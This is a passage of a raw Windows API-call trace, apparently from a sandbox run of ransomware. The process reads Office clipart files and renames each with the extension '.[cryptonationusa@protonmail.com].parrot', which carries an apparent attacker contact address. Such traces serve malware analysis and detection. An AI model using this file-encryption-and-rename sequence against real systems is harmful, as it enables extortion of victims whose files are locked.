nNumberOfBytesToLockLow=0x5c42, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.699] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.699] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.701] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.701] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5b2a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5b2a, lpOverlapped=0x0) returned 1 [0138.702] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.702] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5c42, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.702] CloseHandle (hObject=0x288) returned 1 [0138.703] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.705] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7e3e, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.705] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.705] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.707] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.707] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7d26, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7d26, lpOverlapped=0x0) returned 1 [0138.708] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.709] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7e3e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.709] CloseHandle (hObject=0x288) returned 1 [0138.710] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.716] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8b24, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.716] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.716] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.718] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.718] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8a0c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8a0c, lpOverlapped=0x0) returned 1 [0138.720] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.721] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8b24, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.721] CloseHandle (hObject=0x288) returned 1 [0138.721] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.723] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7e86, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.724] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.724] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.732] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.732] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7d6e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7d6e, lpOverlapped=0x0) returned 1 [0138.734] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.736] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7e86, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.736] CloseHandle (hObject=0x288) returned 1 [0138.736] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.740] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x41ff, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.740] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.740] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.742] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.742] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x40e7, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x40e7, lpOverlapped=0x0) returned 1 [0138.744] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.744] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x41ff, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.744] CloseHandle (hObject=0x288) returned 1 [0138.745] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.747] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6060, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.747] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.747] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.749] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.749] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5f48, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5f48, lpOverlapped=0x0) returned 1 [0138.750] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.751] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6060, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.751] CloseHandle (hObject=0x288) returned 1 [0138.751] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.754] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3c46, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.754] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.754] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.756] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.756] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3b2e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3b2e, lpOverlapped=0x0) returned 1 [0138.757] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.757] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3c46, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.757] CloseHandle (hObject=0x288) returned 1 [0138.757] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.760] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1fa6, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.760] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.760] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.762] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.762] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e8e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1e8e, lpOverlapped=0x0) returned 1 [0138.763] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.763] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fa6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.763] CloseHandle (hObject=0x288) returned 1 [0138.763] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.766] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3fea, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.766] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.766] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.768] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.768] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3ed2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3ed2, lpOverlapped=0x0) returned 1 [0138.769] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.769] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3fea, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.769] CloseHandle (hObject=0x288) returned 1 [0138.769] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.774] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7574, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.774] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.774] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.776] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.776] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x745c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x745c, lpOverlapped=0x0) returned 1 [0138.777] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.779] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7574, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.779] CloseHandle (hObject=0x288) returned 1 [0138.779] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.783] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x70ea, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.784] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.784] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.785] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.785] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6fd2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6fd2, lpOverlapped=0x0) returned 1 [0138.786] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.788] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x70ea, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.788] CloseHandle (hObject=0x288) returned 1 [0138.789] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.793] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6086, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.793] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.793] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.795] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.796] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5f6e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5f6e, lpOverlapped=0x0) returned 1 [0138.797] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.798] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6086, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.798] CloseHandle (hObject=0x288) returned 1 [0138.799] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.802] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4c62, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.803] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.803] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.804] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.805] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4b4a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4b4a, lpOverlapped=0x0) returned 1 [0138.805] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.806] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4c62, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.806] CloseHandle (hObject=0x288) returned 1 [0138.806] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.809] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1da0, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.810] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.810] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.811] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.812] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1c88, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1c88, lpOverlapped=0x0) returned 1 [0138.813] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.813] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1da0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.813] CloseHandle (hObject=0x288) returned 1 [0138.813] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.817] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4f5e, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.817] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.817] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) 